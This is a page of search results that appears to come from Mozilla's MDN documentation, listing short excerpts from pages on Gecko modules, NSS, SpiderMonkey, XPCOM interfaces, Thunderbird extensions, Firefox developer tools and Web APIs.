...all of its functions are asynchronous, meaning that a callback function must be passed to receive the addon instances.
...for example: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getalladdons(function(aaddons) { // here aaddons is an array of addon objects }); // this code will execute before the code inside the callback notifications about changes to installed add-ons are dispatched to any registered addonlisteners.
...And 7 more matches
Downloads.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window.
...when you catch an exception during a download, you can use this to verify if ex instanceof downloads.error, before reading the exception properties with the error details.
... example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object.
...And 7 more matches
JavaScript code modules
addonrepository.jsm provides a search of add-ons in the repository.
... assert.jsm implements the commonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files.
...And 7 more matches
Initial setup
if a community already exists, reach out to them and ask how you can help.
... hg (mercurial) mercurial is the revision control environment that houses the main mozilla source code as well as localized code for each official mozilla localization.
... svn svn is a revision control environment that mozilla uses to house mozilla source websites and their localizations for each official mozilla localization.
...And 7 more matches
Setting up the infrastructure
first, make your project's file type decision (see localization formats for details): html/php .lang gettext (.po) assuming you chose gettext, you'll need to follow the steps below to set up the infrastructure for localizing your web application.
... requirements: php with gettext support, apache and some unix experience.
... create a new branch for l10n (optional if starting a new project).
...And 7 more matches
Writing localizable code
for technical details please also look at xul_tutorial:localization.
... guidelines thus, there are a few guidelines you should follow to make localization of your code easier: choose good key names the names chosen for your keys (regardless of whether that's a dtd or a properties file) should be descriptive.
...if you change the semantics of a localized string, change the key.
...And 7 more matches
MathML Demo: <mtable> - tables and matrices
mathml doesn't specify how to only display certain sides of the table border, as in "|rcl", but these can be obtained in mozilla using the 'border' property of css, e.g., "|rcl" can be achieved with the css declaration "mtable { border-left: solid thin }".
...do you see which vertical alignment is set on that table?
... a table with align="axis2" to anchor the table externally w.r.t.
...And 7 more matches
Mozilla Style System
architecture the style system is split in half rather neatly.
...the barrier between these two halves consists of three abstract interfaces, plus some smaller structures associated with some methods on each: nsistylesheet nsistylesheet represents what one would think of as a style sheet: the in-memory representation of a css file or other source of style data.
...there is also a style rule processor for style attributes (which contain css declarations) and one for presentational attributes in html.
...And 7 more matches
BloatView
xpcom_mem_bloat_log if set, this causes a bloat log to be printed on program exit, and each time nstracerefcnt::dumpstatistics is called.
...cumulative) leak and bloat statistics, tab process 1862 |<----------------class--------------->|<-----bytes------>|<----objects---->| | | per-inst leaked| total rem| 0 |total | 17 2484|253953338 38| 17 |asynctransactiontrackersholder | 40 40| 10594 1| 78 |compositorchild | 472 472| 1 1| 79 |condvar | 24 48| 3086 2| 279 |messagepump | 8 8| 30 1| 285 |mutex | 20 60| 89987 3| 302 |pcompositorchild | 412 412| 1 1| 308 |pi...
...magebridgechild | 416 416| 1 1| the first line tells you the pid of the leaking process, along with the type of process.
...And 7 more matches
Performance
benchmarking tips on generating valid performance metrics.
... xul school: add-on performance tips for add-on developers to help them avoid impairing application performance.
... scroll-linked effects information on scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques.
...And 7 more matches
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
... to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component.
... this means that the corresponding buttons on the mozilla rich text editing demo page will not work.
...And 7 more matches
JSS Provider Notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk.
...you have two choices.
...And 7 more matches
Mozilla-JSS JCA Provider notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk.
...you have two choices.
...And 7 more matches
NSS 3.15 release notes
introduction the nss team has released network security services (nss) 3.15, which is a minor release.
...it replaces function secitem_reallocitem, which is now declared as obsolete.
... in secpkcs7.h sec_pkcs7verifydetachedsignatureattime - verifies a pkcs#7 signature at a specific time other than the present time.
...And 7 more matches
NSS 3.52 release notes
notable changes in nss 3.52 bug 1603628 - update nss to support pkcs #11 v3.0.
... note: this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition.
... bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and chachapoly.
...And 7 more matches
Initialize NSS database - sample 2
/* * print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -d [-p ]" " [-f ]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d "); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */ char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null;...
...data->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p...
...0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match.
...And 7 more matches
pkfnc.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference pkcs #11 functions chapter 7 pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
... syntax #include <pk11func.h> #include <certt.h> certcertificate *pk11_findcertfromnickname( char *nickname, void *wincx); parameters this function has the following parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token.
...And 7 more matches
ssltyp.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference selected ssl types and structures chapter 3 selected ssl types and structures this chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them.
... types and structures managing secitem memory types and structures these types and structures are described here: certcertdbhandle certcertificate pk11slotinfo secitem seckeyprivatekey secstatus additional types used by a single function only are described with the function's entry in each chapter.
...And 7 more matches
TLS Cipher Suite Discovery
they must agree on these items: key establishment algorithm (such as rsa, dh, or ecdh) peer authentication algorithm (such as rsa, dsa, ecdsa) bulk data encryption algorithm (such as rc4, des, aes) and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large.
... tls does not allow all possible combinations of choices from those categories to be used.
... instead, tls allows only certain well-defined combinations of those choices, known as cipher suites, defined in the ietf rfc standards.
...And 7 more matches
Network Security Services
nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... tools, testing, and other technical details build instructions for nss describe how to check out and build nss releases.
... nss developer tutorial how to make changes in nss.
...And 7 more matches
Renaming With Pork
most refactoring toolchains are ui-based.
...these notes are based on tools pork refactoring toolchain [required].
... filterdiff from patchutils renaming a class 1.
...And 7 more matches
SpiderMonkey compartments
compartments are used to create multiple javascript memory heaps, which avoids having one heap for all javascript objects.
... each compartment is a separate javascript heap.
... an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper.
...And 7 more matches
JS_ExecuteScript
syntax bool js_executescript(jscontext *cx, js::handlescript script, js::mutablehandlevalue rval); // added in spidermonkey 45 bool js_executescript(jscontext *cx, js::handlescript script); // added in spidermonkey 45 bool js_executescript(jscontext *cx, js::autoobjectvector &scopechain, js::handlescript script, js::mutablehandlevalue rval); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::autoobjectvector &scopechain, js::handlescript script); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::handleobject obj, js::handlescript script, js::mutablehandlevalue rval); // obsolete since jsapi 39 bool js_executescript(jscontext *cx, js::handleobject obj, ...
...solete since jsapi 39 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsscript*> script); // added in spidermonkey 45 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsscript*> script); // added in spidermonkey 31, obsoleted since jsapi 39 name type description cx jscontext * the context in which to execute the script.
... obj js::handleobject the scope in which to execute the script.
...And 7 more matches
JS_GetParent
syntax jsobject * js_getparent(jsobject *obj); name type description obj jsobject * object for which to retrieve the parent.
...such an object should not be passed to any other jsapi function that could expose it to script code.
... each object is assigned a parent when it is created: the standard library objects and functions all have the global object as their parent.
...And 7 more matches
JS_NewObject
_newobject(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); jsobject * js_newobjectwithgivenproto(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); // added in spidermonkey 1.8 name type description cx jscontext * the context in which to create the new object.
... the jsclass may be used to override low-level object behavior, including such details as the physical memory layout of the object and how property lookups are done.
...cx is a pointer to a context associated with the runtime in which to establish the new object.
...And 7 more matches
SavedFrame
including and excluding chrome frames consider the following savedframe stack.
... arrows represent links from child to parent frame, content.js is from a compartment with content principals, and chrome.js is from a compartment with chrome principals.
... function a from content.js | v function b from chrome.js | v function c from content.js the content compartment will ever have one view of this stack: a -> c.
...And 7 more matches
TPS Bookmark Lists
each key is the full path for the array of contents specified in the key's value.
...all bookmark paths must begin with one of the following: "menu": the normal bookmarks menu "toolbar": the bookmarks toolbar "tags": the tags folder "unfiled": the unfiled bookmarks folder "places": the places root folder ("menu", "toolbar", and "unfiled" are all children of this) sub-folders are preceded with forward slashes, so "menu/folder1" denotes that "folder1" is a sub-folder of "menu".
...changes: an object containing new properties to be set for this bookmark when this asset list is used in a modify action.
...And 7 more matches
The Places database
the places schema looks like so: core url table moz_places: this is the main table of uris and is managed by the history service (see also history service design).
...each entry has an optional reference to the moz_favicon table to identify the favicon of the page.
... moz_hosts: one entry in this table is created each time you visit a new host.
...And 7 more matches
Creating a Python XPCOM component
tip: you can achieve a copy of binary of pyxpcom from pythonext; simply unpack xpi and take everything you need.
...defining the interface make a file named "nsipysimple.idl" to define the interface: #include "nsisupports.idl" [scriptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsipysimple : nsisupports { attribute string yourname; void write( ); void change(in string avalue); }; this is the same as the nsisimple interface used here.
...see here for info on describing interfaces, and on which types can be used.
...And 7 more matches
XPCOM guide
MozillaTechXPCOMGuide
nt attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
...the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
... however, it may be useful for c++ code in the mozilla platform to run tasks on another thread.mozilla internal string guidemost of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
...And 7 more matches
IAccessibleAction
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object.
... each action can be performed or queried for a name, description or associated key bindings.
... actions are needed more for ats that assist the mobility impaired, such as on-screen keyboards and voice command software.
...And 7 more matches
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidec...
...imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load.
...cachekey arequest a newly created, unused imgirequest object or null for one to be created for you.
...And 7 more matches
nsIAuthModule
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void getnexttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out un...
...void getnexttoken( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the input token (for example a challenge from a server).
...aouttoken if getnexttoken succeeds, then aouttoken will point to a buffer to be sent in response to the server challenge.
...And 7 more matches
nsIComponentManager
66 introduced gecko 0.7 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void addbootstrappedmanifestlocation(in nsilocalfile alocation); void createinstance(in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void createinstancebycontractid(in string acontractid, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result)...
...; void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstrappedmanifestlocation(in nsilocalfile alocation); methods addbootstrappedmanifestlocation() loads a "bootstrapped" chrome.manifest file from the specified directory or xpi file.
... a "bootstrapped" chrome manifest supports some of the instructions allowed in a regular chrome manifest, see the chrome registration documentation for details.
...And 7 more matches
nsIContentView
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with content views for details on how to use this api.
... contentwidth float dimensions of scrolled content in chrome-document css pixels.
... id nscontentviewid id that can be used in conjunction with nsidomwindowutils to change the actual document, instead of just how it is transformed; this is a 64-bit unsigned integer.
...And 7 more matches
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the content views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsiframeloader object to nsicontentviewmanager.
... note: the rectangle is specified using an anchor point, then four distances to indicate how far in each direction to expand the rectangle.
... this lets you, for example, take the coordinates at which the user clicked (or touched) the screen, and expand outward to create a rectangle from that point.
...And 7 more matches
nsIDragSession
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
... onlychromedrop boolean indicates if the drop event should be dispatched only to chrome.
... this allows chrome to handle a drag that was refused by content.
...And 7 more matches
nsIJetpack
js/jetpack/nsijetpack.idlscriptable this interface enables communication between the chrome process and a remote jetpack process.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ...
... */); void registerreceiver(in astring amessagename, in jsval areceiver); void unregisterreceiver(in astring amessagename, in jsval areceiver); void unregisterreceivers(in astring amessagename); void evalscript(in astring ascript); nsivariant createhandle(); void destroy(); methods sendmessage() this method asynchronously sends a message to the jetpack process.
...And 7 more matches
nsILoginInfo
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/login-manager/logininfo;1.
...er/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmiturl astring the origin, not url, a form-based login was submitted to.
...this field is null for logins attained from protocol authentications and "" means to match against any form action.
...And 7 more matches
nsIMsgWindow
inherits from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/msgwindow;1.
...method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane.
... rootdocshell nsidocshell this is used to track the chrome window's nsidocshell object.
...And 7 more matches
nsISelection2
1.0 66 introduced gecko 1.8 obsolete gecko 8.0 inherits from: nsiselection last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) in gecko 8.0 this interface was merged into the nsiselectionprivate interface.
... void scrollintoview(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); attributes attribute type description type short returns the type of the selection (see nsiselectioncontroller for available constants).
... allowadjacent specifies whether the returned ranges are allowed to touch the input range rather than merely overlapping it.
...And 7 more matches
nsISyncMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "senders" have a single "other side" to which messages are sent.
... for example, a child-process message manager will send messages that are only delivered to its one parent-process message manager.
...both sendsyncmessage() and sendrpcmessage() will block until a reply is received, but they may be temporarily interrupted to process an urgent incoming message (such as a cpow request).
...And 7 more matches
nsITaskbarPreviewController
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of this interface.
...this value may change at any time.
...this doesn't need to match the preview's aspect ratio, and is allowed to be changed at any time.
...And 7 more matches
nsIWebNavigation
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead.
... load_flags_is_refresh 16 this flag specifies that the load should have the semantics of an html meta-refresh tag (that is, that the cache should be bypassed).
... load_flags_bypass_cache 256 this flag specifies that the local web cache should be bypassed, but an intermediate proxy cache could still be used to satisfy the load.
...And 7 more matches
Xptcall Porting Guide
the invoke functionality requires the implementation of the following on each platform (from xptcall/public/xptcall.h): xptc_public_api(nsresult) ns_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* params); calling code is expected to supply an array of nsxptcvariant structs.
... these are discriminated unions describing the type and value of each parameter of the target function.
... these implementations use the basic strategy of: figure out how much stack space is needed for the params, make the space in a new frame, copy the params to that space, invoke the method, cleanup and return.
...And 7 more matches
Address book sync client design
by richard h.
... pizzarro <rhp@netscape.com> contents overview client side sync logic public interfaces overview there is an component available in the mozilla tree for performing synchronization operations against a server based address book.
... the general architecture for the sync component is the following: mozilla ui ab sync logic mork ab database sync protocol encoding sync protocol decoding http "post" api mozilla networking client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process.
...And 7 more matches
The libmime module
by richard h.
...there is a class for each mime type, and each class is responsible for parsing itself, and/or handing the input data off to one of its child objects.
... there is one header file and one source file for each class (for example, the mimeinlinetext class is defined in "mimetext.h" and "mimetext.c".) each header file follows the following boiler-plate form: typedefs these come first to avoid circular dependencies.
...And 7 more matches
Building a Thunderbird extension 3: install manifest
much of it may no longer be relevant.
... open the file called install.rdf that you created at the top of your extension's directory hierarchy and paste the following text into the file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myfirstext@jen.zed</em:id> <em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxver...
...the first portion is the short name of the extension and must be in lowercase; the last portion is a two-part period-delimited value such as your first and last name or the top-level domain of your website.
...And 7 more matches
Building a Thunderbird extension 5: XUL
much of it may no longer be relevant.
...we add widgets by inserting new xul dom elements into the application window and modify them using scripts and attaching event handlers.
...the status bar is implemented in a xul file called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja archive.
...And 7 more matches
Break on DOM mutation - Firefox Developer Tools
a dom mutation breakpoint pauses the code when the dom node on which you have set the breakpoint is modified.
...navigate to the dom node in which you are interested and use the context menu to set the breakpoint.
... there are three choices: subtree modification execution pauses if any of the elementʼs descendant nodes are modified.
...And 7 more matches
Debugger.Environment - Firefox Developer Tools
each debugger.frame instance representing a debuggee frame has an associated environment object describing the variables in scope in that frame; and each debugger.object instance representing a debuggee function has an environment object representing the environment the function has closed over.
... ecmascript environments form a tree, in which each local environment is parented by its enclosing environment (in ecmascript terms, its ‘outer’ environment).
... spidermonkey creates exactly one debugger.environment instance for each environment it presents via a given debugger instance: if the debugger encounters the same environment through two different routes (perhaps two functions have closed over the same environment), spidermonkey presents the same debugger.environment instance to the debugger each time.
...And 7 more matches
Firefox Developer Tools
the ellipsis menu on the right-hand side of developer tools contains several commands that let you perform actions or change tool settings.
...click it to display a list of the iframes on the current page and select the one with which you want to work.
... accessibility inspector provides a means to access the page's accessibility tree, allowing you to check what's missing or otherwise needs attention.
...And 7 more matches
AudioParam.setTargetAtTime() - Web APIs
the settargetattime() method of the audioparam interface schedules the start of a gradual change to the audioparam value.
...if it is less than or equal to audiocontext.currenttime, the parameter will start changing immediately.
... timeconstant the time-constant value, given in seconds, of an exponential approach to the target value.
...And 7 more matches
AudioParamDescriptor - Web APIs
properties name the domstring which represents the name of the audioparam.
... automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this audioparam.
... minvalue optional a float which represents minimum value of the audioparam.
...And 7 more matches
BudgetState - Web APIs
budgetstate.time returns a timestamp at which the budgetat value is valid.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
...And 7 more matches
Constraint validation API - Web APIs
the constraint validation api enables checking values that users have entered into form controls, before submitting the values to the server.
... concepts and usage certain html form controls, such as <input>, <select> and <textarea>, can restrict the format of allowable values, using attributes like required and pattern to set basic constraints.
... methods checkvalidity() checks the element's value against its constraints.
...And 7 more matches
DOMHighResTimeStamp - Web APIs
in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... value the value of a domhighrestimestamp is a double-precision floating-point number which describes the number of milliseconds (accurate to within 5 microseconds if the device supports it) elapsed between two points in time.
... the time origin the time origin is a standard time which is considered to be the beginning of the current document's lifetime.
...And 7 more matches
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
the web animations api's effecttiming dictionary's fill property specifies a fill mode, which defines how the element to which the animation is applied should look when the animation sequence is not actively running, such as before the time specified by iterationstart or after animation's end time.
... for example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during which the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered frame.
...see the alternatives to fill modes section below for approaches that are simpler and more performant.
...And 7 more matches
Element.getElementsByClassName() - Web APIs
the element method getelementsbyclassname() returns a live htmlcollection which contains every descendant element which has the specified class name or names.
... syntax var elements = element.getelementsbyclassname(names); parameters names a domstring containing one or more class names to match on, separated by whitespace.
... return value an htmlcollection providing a live-updating list of every element which is a member of every class in names.
...And 7 more matches
EventSource - Web APIs
an eventsource instance opens a persistent connection to an http server, which sends events in text/event-stream format.
... unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser).
... that makes them an excellent choice when there's no need to send data from the client to the server in message form.
...And 7 more matches
FileSystemDirectoryEntry.createReader() - Web APIs
the filesystemdirectoryentry interface's method createreader() returns a filesystemdirectoryreader object which can be used to read the entries in the directory.
... return value a filesystemdirectoryreader object which can be used to read the directory's entries.
... example this example creates a method called readdirectory(), which fetches all of the entries in the specified filesystemdirectoryentry and returns them in an array.
...And 7 more matches
FontFaceSetLoadEvent - Web APIs
properties fontfacesetloadevent.fontfacesread only returns an array of fontface instances each of which represents a single usable font.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
...And 7 more matches
Using the Frame Timing API - Web APIs
a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
... an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event.
... var observe_all = new performanceobserver(function(list) { var perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { switch (perfentries[i].entrytype) { case "frame": process_frame(perfentries[i]); break; case "mark": process_mark(perfentries[i]); break; case "measure": process_measure(perfentries[i]); break; case "resource": process_resource(perfentries[i]); break; default: console.log("unexpected performance entry type: " + perfentries[i].entrytype); } } }); // observe fra...
...And 7 more matches
HTMLInputElement.webkitdirectory - Web APIs
when a directory is selected, the directory and its entire hierarchy of contents are included in the set of selected items.
... understanding the results after the user makes a selection, each file object in files has its file.webkitrelativepath property set to the relative path within the selected directory at which the file is located.
... jamie's 1st birthday pic1000.jpg pic1004.jpg pic1044.jpg don's 40th birthday pic2343.jpg pic2344.jpg pic2355.jpg pic2356.jpg vacations mars pic5533.jpg pic5534.jpg pic5556.jpg pic5684.jpg pic5712.jpg if the user chooses photoalbums, then the list reported by files will contain file objects for every file listed above—but not the directories.
...And 7 more matches
HTMLModElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
